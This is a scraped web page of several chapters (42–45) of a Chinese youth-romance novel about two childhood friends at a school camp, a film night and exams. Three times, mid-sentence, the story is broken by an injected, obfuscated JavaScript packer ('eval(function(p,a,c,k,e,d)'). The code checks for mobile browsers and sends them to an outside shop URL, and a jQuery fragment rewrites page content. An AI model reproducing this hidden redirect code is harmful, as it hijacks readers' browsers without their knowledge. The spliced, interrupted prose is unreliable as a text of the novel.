他们两个走过很多个城市,见过很多人,在各自的求学路上换过不知道多少种多少种洗发水。大概是普鲁斯特效应的缘故,无论是什么味道,都会让闻竹觉得,闻到了他头发的香味,就重返高中时光。 在享受了吹头发的服务之后,闻竹坐在沙发上,任由男人抚摸她的长发。 她忽然问:“就是高中的那天下午,在热水房,你当时为什么那么看着我。是因为我说‘每个人玩那个游戏我都想陪他’吗?” 两人恋爱多年,李泊松丝毫不为年少时那点无名醋而觉得不好意思,他说:“是啊,怎么了。” 闻竹笑得倒进他怀里。 42. 三伏暑热 前几天的活动都是以兴趣和体验为主的,虽然很热,但大家并没有觉得有多累,每个人都乐在其中,第五天的活动却截然不同,对体力的消耗非常大。 闻竹站在炙热的大太阳下听教官介绍规则,觉得自己脸上的防晒霜大概已经被晒化了,皮肤都是灼烧滚烫的。 曲思嘉在她旁边叹气:“流的汗成河了……” 闻竹用手背轻轻碰了下曲思嘉的额头,果不其然蹭到了汗珠。 今天早晨闹钟响过后她看到了天气提示,几天的最高温度竟然能达到三十五度。闻竹低头看了眼脚下的柏油路面,很想弯腰摸一下,大概烫得能蒸熟一个鸡蛋了吧。 上午的活动是爬毕业墙。 规则听起来很简单,真正通关却并不容易。这需要班级里的所有同学共同参与、互相帮助,最后爬上眼前这堵四米左右的高墙。 任何人上去都不能只靠自己一个人的力量,毕竟人不是飞鸟,也没有谁拥有武侠小说里飞檐走壁的轻功。大家都需要被人托举、然后拉住上边递过来的伙伴的手。 爬上这堵墙。 这不是体力运动,而是一个体现集体凝聚力和向心力的活动。 - 直到回到寝室坐在床上,闻竹才后知后觉自己有点恶心,头也一阵一阵地疼,怪不得刚刚就觉得没精神。 上午的活动太耗费体力,下午就是大家的休息时间了,她准备睡一觉。因为头重脚轻过于难受,条件还颇有些艰苦,她就将就着简单地擦了下身,随后赶忙换了身干爽衣服就爬上了床。 曲思嘉觉得她有点不对劲,于是问了两句,闻竹没说不舒服,只是说很累。曲思嘉自己也累得不行,躺在床上和闻竹简单地聊了两句,发现她已经昏昏欲睡了。 没一会儿,就被枕边手机的震动声吵得不得安生。 她的起床气只存在于状态良好的时候,这会儿她连起床气都没有了,摸过手机解了锁,想把静音打开,发现这震动竟然是因为李泊松给她打了电话。 他怎么了? 闻竹任命地从床上爬起来,衣服都没换,准备出门回消息,走到走廊的窗边却发现有一个个高腿长的男生站在门口的树荫下,回头率还不低。 这不就是李泊松么。 她下了楼,原本觉得自己穿得太随意,走出楼门口发现李泊松也非常随意,白T,看起来随便套上的运动短裤。三四十度的天,头发却还没干透,看着匆匆。 “过来。” 李泊松一眼就看到了闻竹,他嘴上这么说着,却三两步到了她面前,立刻细心观察了一下闻竹的脸色。闻竹也看着他,一眼看到了他额角上的一道血痕。 “这是怎么弄的?”没等李泊松说话,她先开了口,说这话的时候眉头无意识地皱了起来。 李泊松颇为惊讶地抬手抚上闻竹视线的落点,说:“哦,这个啊。刚刚不知道怎么刮的,没事。” 他说完,观察了下闻竹的表情,挺没心地笑了下:“你眼神还挺好的。” 李泊松不说她也知道,就是刚刚的活动中磕碰到的,托人上去的过程中难免被碰到。他小伤没少受,就是这个在脸上,被闻竹看到了。 闻竹还是皱眉:“疼吗?会不会留疤啊?” “不疼。我以为你关心我,原来你关心的是我的脸。”他挑眉:“破相了吗?” 闻竹摇头,又点头。 李泊松就和她开玩笑:“那你多想想我之前长什么样,别忘了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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闻竹说“好”,困意好像瞬间就席卷而来了,她偏头打了个短促的哈欠,眨了眨生理性的眼泪:“你也好好休息。” 43. 露天电影 基地最后一天晚上的活动是联欢晚会,这是个不成文的惯例,这次依然,只不过这次的活动变成了以班级为单位的,每个班级可以自行安排活动和时间。 不需要端正坐一晚上,大家都很高兴。据小道消息说,这个建议还是岩姐提出来的,大家一致认为可信度很高,很符合他们孟老师一贯的风格。 联欢之前的集体活动改成了看露天电影。 闻竹一边往曲思嘉腿上喷花露水,一边听她说:“在今天以前,我只在电影和电视剧里看到过露天电影这种活动,好期待啊。” 她说完,看到闻竹波澜不惊的脸,接过花露水帮她喷,疑惑道:“你怎么这么淡定?” “我明明很兴奋。”闻竹抗议过后,又问她:“你不需要再喷点么?外面少不了蚊子。” “我还好啊,只是偶尔被咬,你才要多注意。” 夏夜蚊虫叮咬是常有的事,加之在半山腰的室外,更是逃不掉走几步一个蚊子包的结局。 曲思嘉还好,闻竹这几天真是深受其害。正因为这惹人厌的蚊子,她一面觉得好玩,一面期待着赶紧回家。 在闻竹穿上薄外套走出门时,听到曲思嘉笑她:“你这表情叫‘兴奋’呀,是不是你喜欢的人和你告白你也是这个表情?” “……” - 远处的晚霞火烧一样绵延在地平线以上,霞光消失后,太阳渐渐落下后,天空慢慢变成了一种沉静的蓝色。 在日落时,闻竹把相机调到最清晰的模式,镜头对准了露在地平线以上悬着的太阳,她简单调整了一下角度,而后画面定格在镜头里。拍完照后,手机自动加载了定位功能,闻竹打开相册,照片上记录着拍照的时间和地点,像是这场华美落日的笔记。 太阳落下西天之后,月亮在夜空中逐渐变得明亮起来。 这个基地在城市边缘,山脚下房子稀稀落落,光污染低,大多数时候都能看到城市中久未出现过的漫天繁星。 学校放了个比较老的好莱坞电影,让闻竹颇为意外。她本以为晚上要看的是励志片,却没想到是温情类的。 这电影刚上映的时候他们读初二,她和李泊松一起看过这部,情节能记住个十之二三,想到这,她忽地想问问李泊松还记得多少剧情,于是悄悄回头,在黑暗里寻找他的身影。 男生排在女生排的左边,李泊松离闻竹大概两三个人的距离。随着电影情节的变化,幕布忽明忽暗,亮的时候能把周围的景象都映照得很清晰。 巧的是,闻竹一转眼,就对上了李泊松的视线。 在和他目光相碰之后,闻竹反而不想问了。或者说,她或许原本就不想问什么问题,只是想看看他的眼睛。 曲思嘉正好拉了一下她的袖子,闻竹感觉她往前凑了凑,于是顺势往后仰了下,躺进她的臂弯里。闻竹的眼睛扫过晃动的电影幕布,偏头小声问她:“这样可以吗,你会不会觉得不舒服?” “挺好的,”她小声道:“竹子,你听过‘群体性浪漫’这个词吗?” “嗯?没有,”闻竹想了想,虚心请教道:“这是什么意思?” “大概意思就是说,人这一生会经历很多浪漫的时刻,这些时刻中有的是某个人或者某件事给予你的,但也有很多时候,你所感受到的浪漫是在群体中获得的。” “当大家同时在一件事中获得满足的时候,就能称得上群体性浪漫的时刻。” “就比如现在?”闻竹问。 曲思嘉点头。 闻竹再次把目光投向幕布。 大概是因为学生太多的缘故,即使场地够大,效果也算不上多好。不过有些事情就是意义大于实际、过程和大于结果的,这么多人一起看同一部电影的场景,在她的高中时代不会有第二次了。 特殊的时间地点、陪在身边的人给予了一件事以特殊的意义。闻竹觉得如果她在以后回忆起这个晚上,大概不会想到周围嗡嗡环绕的蚊子,她会想起这时候独一无二的感受。 之后她坐起身,安静地看电影的画面、光影和剧情,整整一百分钟都没走神,放任自己沉浸在这种难得的感受中,音乐的声音越来越小,周围渐渐响起了躁动的声音。 她的手机在兜里震动了一声,闻竹解锁后一看,李泊松发给她一张照片,照片上是她拍晚霞的背影。 大概就那么几秒钟的动作,就被他捕捉到了。闻竹盯着那张照片看,之后放大、又缩小、再放大,如此这般折腾了几次后才点了保存。 照片里她的发丝柔顺地搭在肩上,她的手指轻触屏幕,在调整手机相机的取景框,她不知道自己那时出现在别人的取景框中。 回到对话框,她编辑了一句“谢谢”发过去,那边又发来一条消息。 【L:抬头,看星星。】 闻竹听话地抬头看,看到了在银河宇宙漫游的繁星无数。 - 露天电影环节结束后,各班就可以自由地安排剩下的时间。她们班的活动是全班围在一起谈天说地,像联欢会那样随意表演节目。 前段时间岩姐把这个任务交给了文艺委员,文艺委员又把任务交给各组组长。一般情况下大家拿不准谁愿意参加这种活动,只能杀熟。曲思嘉原本说大家一起搞一个节目吧,他们甚至还排练了两天,后来因为三个男生都凑不出完整的五音而放弃了这个想法。 在教室里,他们五个围在一起讨论这件事。毕雨泽说:“你看,这还是交给你们两个吧,我们太丢人了。” “……”曲思嘉很不乐意:“你们男的也太没担当了。” 路一杭在心里吐槽了一下毕雨泽这欠奉的情商,换了种圆滑的说法:“你们两个多才多艺的,才能代表咱们组啊。” 曲思嘉叫他滚。 毕雨泽和路一杭双双碰壁,夹在两人中间的李泊松很尴尬,他看了闻竹一眼,闻竹撑着下巴闲闲地看戏,让他感觉眼皮一跳。 事出反常必有妖,她笑得这么无害,怎么看怎么奇怪。 在这种不上不下的情境下,李泊松说:“我……” 闻竹不知道他要说什么,接话道:“你不是会架子鼓?” “嗯?”李泊松不知道闻竹刚刚那个意思是想看他打鼓,他无奈地笑了下,解释道:“我都忘了,这个技能早就在我身上消失了。” “……为什么?”闻竹不解。 “太久没练了,你还记得初三第一节生物课讲了什么吗?” “……” 闻竹遗憾道:“好吧,你失去了一部分的帅气。”说完她问:“那你刚才想说什么?” 落差这就出来了,李泊松破罐子破摔:“我想说,我会口风琴。” “哦,”闻竹半点不惊讶,因为这是在小学参加社团时他们两个一起学的,她问:“这个你没忘啊?” 明明算起来年代更久远。 “没有,”他顿了顿,才颇为自豪地说:“初三那年我爸送我的生日礼物有一把口风琴,我吹得可好了。” 闻竹垂下眼,很轻地笑了下。 她一直都对李泊松有种莫名的信任。况且就算吹得不好,也有脸来凑。 那天晚上放学,他们两个走在林荫路下,闻竹看着飞虫聚集在路灯下,有的用自己弱小的身躯去撞灯,有的绕着光盘旋飞舞。李泊松忽然问她:“我打鼓很帅啊?” 闻竹反应了一会儿,知道他是在大家面前不好意思问,不问还忍不住,就把问题留到现在了。她点头:“啊,架子鼓本身就帅,谁打都帅。” 李泊松眼睛里的光瞬间就熄灭了,闻竹觉得他甚至还走得快了些,她简直哭笑不得。 “但是你打鼓就尤其帅,真的。” 李泊松借着街灯看她,轻轻挑了下眉。 其实这是个再普通不过的晚上,周遭的一切景物都那么熟悉,后街的小吃还是像往常一样让人垂涎欲滴,夏夜的风依然是温热却温柔的。但是这个晚上却莫名其妙地触到了李泊松心里的那根弦。 闻竹参与了他这么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13255208|137974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多年的人生,那自己以后的人生呢,能不能也邀请她出席? 仓促的坦白会影响正常的轨迹,他怕意外也怕失去,闻竹是于他而言不能失去的人。 他的童年和一部分少年时代生活在乌托邦里,闻竹是从那个时候就在他身边的人,乌托邦坍塌之后,她依然在。 在闻竹看过来的时候,李泊松笑了下,把话题绕回到口风琴上。 “我爸根本不会送礼物,根本不像我会投其所好。他在送人家礼物之前会问‘你喜欢什么呀’这种问题。我以前没什么想要的东西,会说想要新鞋、想要球赛的票,这么说是因为他会陪我去买鞋,会陪我去现场看球赛。这对我爸来说很难得,他工作起来太拼了。” 闻竹觉得眼睛有点酸,咬唇忍住了。 她拿着卡刷开小区的门禁,门有些窄,进门的时候她往李泊松那边凑了下,之后就一直保持这个有些近的距离没分开。 “初三那年,一个认识的哥哥买了台特酷的摩托,我就随口和我爸提了一句,我说我也想要。我爸说你才多大啊就想玩摩托,你连证件都没有。我说那我这么大应该玩什么,口风琴吗?第二天我爸就买了把口风琴回来。” 闻竹笑了下:“但是叔叔最后还是给你买了。” “嗯。” 李泊松想到,他爸当时说了十八岁之前不许骑,等到他考了证他们两个一起骑车。他虽然不理解为什么十多万的摩托就那么落着灰,但也答应了。 只不过他们两个都没有遵守诺言。 两个人走完回家的最后那段路,到闻竹家楼下的时候,李泊松听到闻竹笑着问他:“喂,要我陪你吗?” “你想吗?”李泊松当然乐意得很。 “我想啊,”她挑了下眉,偏头看他:“我不想的话就不会开口问你了。” “谢谢。”李泊松语气真诚。 闻竹盯着他看了会儿,恍然大悟:“你是不是早就期待我这么问?” 他弯着眼睛笑了,故意说:“啊,你猜?” 闻竹伸出手,作势要打他。还没等他们两个再说话,楼上传来很轻地一声咳嗽,闻竹满头黑线,一抬头,果然看到了她妈妈笑眯眯地看着他们两个。 “……这黑灯瞎火的,我妈看什么呢。” 李泊松没有闻竹半点松弛,他甚至站直了些,堪称乖巧地和陈青打招呼:“陈姨。” 陈青慈爱地说:“泊松啊,来吃西瓜吧?” 闻竹往他身边凑了一些,小幅度地伸手拍了下他的后背,李泊松礼貌地拒绝了。 之后他们两个又说了两句话,陈青才关上窗。闻竹走上台阶,在进门前回头和李泊松打了个招呼,说道:“你回去之后记得选一首歌。” 李泊松眉眼弯弯,很大度地说:“你选吧,选你喜欢的。” 闻竹瞬间就笑出了声,她站得比李泊松高,看人的时候难得是俯视。她忍俊不禁:“你是不是有点得意忘形啊李泊松,你自己想想你会弹几首歌?” 李泊松回神:“也是,”而后他恨铁不成钢似的道:“我下辈子一定要唱歌好听。” 饶是认识了这么多年,闻竹也会被他偶尔的幼稚震惊到,她不走心地安慰道:“你已经很完美了。” 李泊松听了这话,抬头看着她,语气意外地认真:“你才完美。” - 时钟拨回到此刻,夜幕低垂,星子在夜空高悬,这边的环境比市里好,连路灯的灯光都看起来温柔一些。李泊松拿着口风琴,闻竹拿着吉他,两人走到大家围成的圈内,还没坐下,大家就已经在鼓掌了,甚至还有人拿出了手机准备录像。除此之外,闻竹还听到了毕雨泽起哄似的口哨声。 他选的歌是一首去年流行的民谣,闻竹曾经在去年的一个普通的夏天循环了二十三遍,然后在傍晚七点把它分享到朋友圈里。 那时候闻竹并没有李泊松的微信,她也不知道是李泊松看到了这条微信还是简单的巧合,但这是个于她而言很享受的时刻,毋庸置疑。 44. 飞光飞光 在基地回来后,大家明显地有些收不回心,想想也可以理解。他们已经是名义上的高三了,两年弹指一挥间,上课和睡觉占去了青春的大半,剩下的时间里有多少留给集体活动、又有多少留给朋友呢? 在曲思嘉感慨的时候,闻竹看到她一边说着一边在英语报的背面写着什么。凑过去一看,是一句李贺的诗:飞光,飞光,劝尔一杯酒。 岩姐的一句话把全班同学从这种低迷的状态中踢了出去。 她说:“明年这个时候你们已经走出高考考场半个月了,今天的这个时候马上迎来高二年级第二学期的期末,别忘了这次期末考试考理综,之后还要召开家长会。我会主要针对这次的成绩和家长们聊聊你们日常的表现,长心的同学好好复习。” 低下鸦雀无声,之后下课铃打响,教室的几个位置传来鬼哭狼嚎似的声音。曲思嘉也不感慨“飞光”了,只希望这几天的时间过得慢点、再慢点。 下节课是体育,他们几个男生就好像没听到老师刚刚那番话一样,李泊松戴上护腕,外套都不穿转身就去捞球,毕雨泽一口气喝下半瓶水,翻身揽住他肩膀问:“泊松,谁来给你开家长会?” 他问这话的时候闻竹刚好经过他们身边,她知道毕雨泽不了解李泊松的家庭环境,是无意一问,却还是皱了下眉。李泊松刚想说话,闻竹就走过去拍了下他的胳膊,说道:“我想吃校门口那家三明治。” “嗯?”他反应慢了半拍才说:“你什么时候想吃,现在吗?”体育课后就可以去吃晚饭了。“我一会儿下课去买。” “啊?”这会儿慢半拍的变成了闻竹,“我晚上想吃,你放学后记得提醒我。” 他们两个你来我往地说了几句,成功带偏了毕雨泽的注意力。广播叫各班学习委员去学生处开会,路一杭拿着一支按动笔过来,在背后踹了毕雨泽一脚:“在班里跳什么呢,借我个本我开会去。” 毕雨泽一边骂他一边给他找东西。 这边就剩闻竹和李泊松两个人了,李泊松忽地忘了自己要说什么,抱着球微低着头看她。闻竹目的达到,也不和他多说什么,摆摆手出了门。 李泊松七窍玲珑心,刚才那阵迷糊劲过去就知道她是什么意思了。他低头笑了下,篮球在他的指尖轻巧地转了几圈。 - 这次的期末考把大家折磨得够呛,题量很大,数学很难。 有些同学是第一次答理综的卷子,整个过程手忙脚乱,眼睛都不知道往哪里看。闻竹和李泊松这次被分到了一个考场,第一天下午数学考完之后,她倚在考场后门那和李泊松对了最后一道选择的答案,一个B一个D。 第二天闻竹出门的时候看到李泊松依然在后门等她,他单肩背着包,身子站得笔直,在低头看手机。闻竹走过去挡了一下,不动声色地按住他的手机。在李泊松抬头的时候,她小幅度地侧了下脸。顺着她的视线,李泊松看到了正朝这边走的梁主任。 “哎,多亏了你。”李泊松弯唇,听话地把手机收了起来。 闻竹瞥他:“少来。” 第一考场在楼梯口,他们两个就站在那里聊天等其他人交卷后过来。李泊松闲闲地盯着她看了会儿,问:“考得不错?你今天的心情比昨天这时候好很多。” 闻竹仔细想想这几科的卷子,觉得实在和“不错”这两个字搭不上边。她估计了下,成绩上得下降十几分,名次倒不一定有多大变化,毕竟题难的时候大家都觉得难。 她平时考试的时候都是全神贯注不抬头的,这次考试有些题让她觉得烦躁,在快交卷的时候抬头瞥了李泊松好几次,每次他都在演算纸上划拉,虽然看起来依旧游刃有余,但闻竹知道他也被试卷的难度影响了,因为如果是平时,这个时候他已经在优哉游哉地转笔了。 她脑子乱糟糟的:“都考完了,咱们就不要再提考试的事了。” 也不知道是谁昨天抓着他对答案。 李泊松挑眉,和闻竹对视后又弯眼睛笑:“行,那就不说。那你给我唱首歌。” 闻竹给了他一个无语的眼神。 曲思嘉走过来的时候看到的就是这样一幅景象,李泊松侧头,微微弯了腰和闻竹说话。闻竹没转脸,身子却朝他那边倾斜了一些,从眼神能看出她在很认真地听。 曲思嘉不想打断这个氛围,偏偏有个没什么眼力见的人。 毕雨泽出现在他们身后拍了李泊松的肩膀,曲思嘉只好也走过去。 还没等她打招呼,就听到毕雨泽问:“其实我好奇很久了,你们两个认识这么多年,从小到大一直这么亲密吗?感觉你们从来都没吵过架,我和我姐经常拌嘴!” 毕雨泽属于有话就说且是想到什么说什么的类型,大家都习惯了。两个当事人都对这个问题表现出不同程度的惊讶,不过相同的是,这点惊讶持续的时间都不长。 李泊松:“对啊我们从来都不吵架的。” 他话音还没落,闻竹就拆台道:“怎么不吵,你看我们两个谁算好脾气。” 李泊松无奈地笑了:“你看闻竹,一点谎都不会说。” 毕雨泽纳闷道:“泊松脾气就挺好的啊,那句话叫什么来着,‘爱笑的男孩运气不会太差’,说得不就是他吗?” 经由这个话题,闻竹想到了一件自己之前没有考虑过的事情:李泊松和她确实很久没有吵过架了。这人性格是比她好一点,从小到大都奉行有事好商量的原则,但两个人相处这么多年怎么可能没有意见相左互相看不顺眼的时候,年纪小的那些年更是躲不过大大小小的摩擦。 她还记得小学二年级的一件事情。 当时她和李泊松做同桌,平时好得像一个人,有一天两个桌子之间却隔了半个手臂宽的距离,老师很惊讶,就问他们两个怎么了。 小闻竹板着脸,心里想的什么简直写在了脸上,她语速飞快地说:“老师,我不想和李泊松做同桌了。” 老师又去看李泊松,李泊松从刚入学开始就是一幅小大人的样子,这次的表情意外地也不太高兴,他随后说:“老师我也不想和她做同桌了。” 他们两个都是老师喜欢的孩子,平时相处得非常好,闻竹不小心磕破膝盖李泊松都会很心疼,还会拿着碘伏棉签给她细致地消毒,后来老师才了解到,这两个孩子是从小一起长大的,真正的青梅竹马、两小无猜。 今天乍一见到他们两个吵架,老师觉得很惊讶,于是问:“发生什么事了?我以为你们是非常好的朋友。你们不想再做朋友了吗?” 说完这句话之后,两个小孩都没说话。 闻竹先开口:“老师,他这个人小毛病可多了。” 李泊松那时候虽然把闻竹当成自己最好的朋友,但没有具体的绅士风度的概念,也是个小孩子。他不甘示弱道:“老师她脾气很差。” 闻竹偏头,皱眉看他:“你上次考试看了我的卷子。” “?”李泊松:“我没有。” 现在这场吵架已经进行到了白热化阶段,老师只好说:“好吧,那你们两个都冷静一下,想想对方的优点,如果放学的时候你们两个还想换同桌,那我就给你们换座位,怎么样?” 他们两个一直同意,乖乖地回去了。 课间的时候,李泊松在办公室找到老师,说他不想换同桌了。老师当时已经预判到了这个结果,但还是觉得他们两个小孩子很可爱,笑盈盈地问:“为什么?你们和好了?” 他很坦诚地点点头。 大概为了让老师相信他是真的改变主意了,还接着补充道:“其实闻竹是很好的人。” “好,那我就不给你们两个换座位了。” 李泊松清脆道:“谢谢老师”。 老师笑笑,伸手摸了下他的头发,又问:“闻竹怎么不来找我,她是怎么想的啊?” 李泊松偏头想了想,肯定道:“她也是这么想的。” 闻竹很少直言直语地表达对一个人的喜爱,她是做比说更多的人。李泊松在他们小时候就知晓这回事。 九岁的小闻竹躲在办公室门口偷听,打了个喷嚏。 - 按照惯例,家长会需要留几名同学在班级做点辅助工作,他们五个都被留下了。 食堂里有给住校生准备的午饭,他们图方便还是选择在食堂吃。吃完饭走出食堂的时候,毕雨泽还在念叨没有竞争力感觉饭没有平时香了,曲思嘉听了这番言论,给了他一个看傻子的眼神。 毕雨泽本想翘掉训练和他们一起干活,被路一杭一脚踹到了操场那边,告诉他教练看见他了。毕雨泽提心吊胆地往那边一看,对上了一双鹰一样的眼睛,匆忙打了招呼就夹着尾巴跑了。 李泊松和路一杭扫地拖地摆桌子,曲思嘉靠一边用抹布擦着讲台一边偷懒看闻竹画板报,从小学到现在,闻竹画板报经历了熟能生巧的过程,现在已经是炉火纯青,没多久就把黑板打扮得漂漂亮亮。 曲思嘉只看着一会儿就坐不住了,在教室里浇花浇菜,整理图书角。 陈老师夹着书、拿着保温杯走到他们班门口站定。闻竹这会儿刚画完板报,正站在第一排桌子那儿看整体有没有什么不协调的地方。她偏头打了招呼,他们几个不知道他来做什么,一时间都凑了过去。 陈老师以从未有过的速度后退了一步,招呼他们:“停停停,别都过来。来一个就行,到我办公室跑趟腿。” “我去吧,我闲着呢。”闻竹自己的活刚做完,现在两手空空,曲思嘉手里拿着浇花的水壶,李泊松和路一杭都攥着拖布,闻竹往前走了一步,就要跟着陈老师去。 李泊松伸手拎住了她的领子,之后就马上松开了。说是拎住,其实没用力,闻竹感觉有人拉了她一下,就顿住脚步回头看他。李泊松却没看她,而是和老陈说:“老师,还是我去吧。” 老陈一下子就懂了他的意思,摆摆手道:“不沉,不沉,她能拿得动,走吧。” 闻竹转头朝曲思嘉眨了下眼睛,在陈老师转头出门后小声招呼她:“走呀,出去溜达。” 曲思嘉把水壶放到一边,笑呵呵地牵上她的手走了。 李泊松拄着拖把,站在班门口没动弹,目送他们下了楼。路一杭在旁边笑了声:“干活 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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第一个横幅上是红底黄字的一句诗:大鹏一日乘风起,扶摇直上九万里。再打开另一个:禹门已准桃花浪,月殿先收桂子香。 看完之后,他们同时想到了这诗的最后一句:明年此日青云去,却笑人间举子忙。 大家一边卷着这两个条幅,一边在心里琢磨,这高三刚开始几天,他们老师就已经想象他们的“金榜题名时”了。 这个念头一过,也没忍住想象了一下查到高分的时刻,想象完很满足。李泊松也不免觉得感动,暗暗下决心要在语文上更努力一点,不能再忽视它了。 这条横幅成功收买了四个尖子生,他们刚把横幅卷完,岩姐就从外边脚步匆匆地走了进来。他们太投入,都没听到高跟鞋声。 “你们拿的这是什么?”她问。 路一杭回神:“语文老师送的横幅。岩姐,现在挂上吗?” 岩姐本想打开看看,电话却忽然响了,她攥着手机,迅速地环顾四周后道:“挂上去吧,小心点啊。活干得挺好,闻竹板报画得也好,你们几个辛苦了。” 之后她按了接听,一阵风似的又走了。 大家早就习惯岩姐这神出鬼没的状态了,于是又开始自己做自己的事。曲思嘉擦着图书角,在里边抽出了一本书开始看,现在是一个两耳不闻窗外事的状态。闻竹觉得短时间内是叫不动她的了,于是自娱自乐,在黑板上闲着没事画画。 李泊松早就看到她的动作了,但不知道她在做什么,凑过去看的时候,五个小人已经栩栩如生、跃然“板”上了。 黑板一共四块,拉开后有两面会被盖住,因此闻竹把那两面留作空白,只用最中间的两块黑板做板报。靠近门口的那一块就被她用来信手涂鸦了,五个Q版小人活灵活现。 虽然笔触并不复杂,但特点突出。从左到右分别是抱着小说笑得开朗的女生、短发没怎么笑的女生和头发稍长戴了运动发带的、戴眼镜的、留着寸头的男生。 李泊松看她的时候,闻竹都没有察觉到,还在细心地给发带小人点眼尾的痣。 “画得真好……” 他突然出声把闻竹吓了一跳,她手一抖,笔下刚点上的那颗痣被笔锋拉长,横在小人的半张脸上。 闻竹想法子补救的时候还不忘偏头瞪他。 在突发事故下,李泊松眼神里那种欣赏和赞叹更浓了,他没看到闻竹的眼刀,做作地感叹道:“诶,我怎么毁容了。” “……你等会儿,”闻竹拿过板擦,小心地把一角按在黑板上,颇为神气地看着他说:“这就恢复你的美貌。” 眼尾的那颗痣让Q版李泊松更加生动了,他盯着看了一会儿,又看了眼站在“他”旁边的短发Q版闻竹。李泊松定定地看着这小人,拿过粉笔,在她的山根上同样点了一颗痣。 闻竹一直转头看着他的动作。 两个人都不用看对方,就能把痣的位置找得很准,这两笔都灵得很。 曲思嘉在教室后边惊呼好几声,打断了他们两个各怀心事的对视,她边呼边跑到黑板前:“太好看了,宝宝你神仙下凡……咱们在黑板前拍个合照吧!” 其他人听到这个提议,才恍然意识到他们竟然还没有合照,都欣然赞同。 路一杭随手把拖把立在一张桌子边,怒道:“毕雨泽人呢??” 毕雨泽刚好训练完,他一个滑铲进了班级,东张西望道:“谁想我了?” 45. 暑假小聚 电影落幕的时候,曲思嘉在旁边抽泣,闻竹又抽了两张纸巾递给她,她接过,在脸上胡乱地蹭了几下。片尾曲放了一分钟,彩蛋也结束了,影院的灯光亮了起来,映照在每个人的脸上。 闻竹坐着没动,支着下巴把西瓜汁喝完,随手扎了个半丸子头。见曲思嘉哭得差不多了,闻竹笑笑,问她:“走吗?” “走吧,”她揉了揉眼睛,用手机的黑屏当镜子照了照,没照出个名堂来,于是转头问闻竹:“宝,我眼睛肿吗?” 闻竹看了一会儿,实话实说道:“一点点,但是没事儿,依然很好看。” 站起身的时候,手机在包里响了一声。她查看消息,是李泊松,那边只发来两个字。 【回头。】 IMAX厅,她们坐在第五排,后面乌泱泱的人群已经散了大半。李泊松个子高,帅得很有他自己那一套,即便是在人海中也乍眼。他们坐在她俩后面三四排的位置。 在闻竹看过去的时候,男生扬了扬唇角,和她挥手。 闻竹没像他那样表现得那么开心,她只是歪歪脑袋,眉眼间却也带着隐约的笑意。 “泊松,泊松?怎么不走,这是看谁呢……”毕雨泽叫了他两声,眯着眼睛顺着他的视线看过去,竟然看到了闻竹,旁边是曲思嘉。 “哎哟——我去。”他倒吸气,四个字的语调拐了两个弯,之后路一杭的视线被他们吸引过来了。 李泊松这才收回目光,答话道:“闻竹她们。” “哦,”毕雨泽故意说:“原来你听到我说话了?” 李泊松笑得很无害,心念电转给自己找了个借口:“啊,刚听到,影院这密闭环境里信号好像不太好。” 他这话说得煞有介事,把他们两个都逗笑了。 “哎,我发现你脑子转得是真快,什么梗都能接住。”毕雨泽服气了,路一杭在旁边看着他们,伸手推了下眼镜,他思路活泛,说说话就跑偏了:“你那天不是说以前经常和闻竹吵架吗?说到拌嘴,我们都不是她的对手,我感觉你们两个能平手呢。” “我也不行。”李泊松失笑,又在心里默默地给自己正名。 “经常”这两个字可不是他说的,哪儿有经常? 路一杭把包背上,说:“走吧?她们出去了。” 他们顺手收拾了垃圾,扔进了门口的垃圾桶。毕雨泽和路一杭去了卫生间,李泊松刚洗了手,手还没干毕雨泽就出来了,他随口问:“你知道她们两个来看电影?” 李泊松摇头:“不知道。” “散场的时候看见的?”看到她们两个走过来,毕雨泽说:“还挺巧呢。” 李泊松看着闻竹,都没听到他说话。 闻竹皮肤细腻五官标致,是典型的骨相美女。影院灯光昏暗,刚刚又匆忙,李泊松现在才看到她脸上的细微变化,为了看清些,就专注地盯了她一会儿。 “你一直看我做什么?”闻竹把手机塞回包里抬头回视他。 “哦,你能感觉到?”李泊松平常不会这么盯着她瞧,一是觉得不礼貌,而是觉得自己也不那么坦荡,显得更不礼貌。她刚刚明明在低头看手机。 “……”闻竹笑了声,语气都带了点无奈:“你就这么一直盯着我,我又不是死的,怎么可能感觉不到。” 闻竹虽然不太在外表打扮上花费时间,但扛不住天生丽质,长了一张吃饭散步都会有人频频回头看的脸。她习惯了被注视,但李泊松的目光就如有实质一般,不轻不重地落在她身上。 “嗯,”他点头,弯了弯眼睛,也不怕面前的女生生气,实话实说道:“你晒黑了。” 闻竹确实不生气,她歪了下头:“看着更健康,是吧?挺好看的。” 哪儿有夸自己好看的,李泊松失笑,又问:“有没有晒伤?” 他说这话的时候还在看她的脸,莫名地让闻竹觉得有些别扭,她说了“没有”,又伸手拍了下这人的胳膊,咬牙小声道:“你别盯着我看了……” “哦,”李泊松语气很轻地应了,听话地转开了脸。 闻竹见他这样,把自己的防晒衣袖子撸起来,给他看胳膊上的那一片红色的印记。这是晒伤,其余地方的皮肤白到晃眼,显得晒伤处的红色非常明显。 李泊松皱了下眉,手刚伸出来就收了回去。 闻竹怎么回事,平时防晒工作做得挺细致,出去玩怎么就忘了? 但她也不想被晒成这样。李泊松几不可察地叹了口气,问:“涂药了吗?” 走在前边的毕雨泽回头看了眼,被曲思嘉扯回去了,他问:“闻竹出去玩了多久?一周时间都没有吧。他们两个几天没见而已,怎么感觉……”有种小别胜新婚的气氛。 这话太奇怪了,他刚张嘴就咬了舌头,咽下了这个话题。 曲思嘉说:“他们两个昨天还见面了啊。” 路一杭原本没有参与八卦,听到这倒是很纳闷:“你怎么知道?” 